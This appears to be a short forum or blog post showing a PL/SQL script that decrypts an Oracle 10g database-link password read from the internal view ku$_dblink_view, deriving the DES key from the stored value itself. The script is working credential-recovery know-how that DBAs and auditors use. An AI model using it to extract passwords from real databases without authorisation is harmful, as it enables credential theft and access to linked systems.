How to decrypt db_link password in Oracle 10g

Here is example PL/SQL script. Password for db_link was been gotten from ku$_dblink_view.

set serveroutput on
declare
 db_link_password varchar2(100);
begin
 db_link_password := '';

 dbms_output.put_line ('Plain password: ' || utl_raw.cast_to_varchar2 ( dbms_crypto.decrypt ( substr (db_link_password, 19) , dbms_crypto.des_cbc_pkcs5 , substr (db_link_password, 3, 16) ) ) );
end;
/

Good Luck !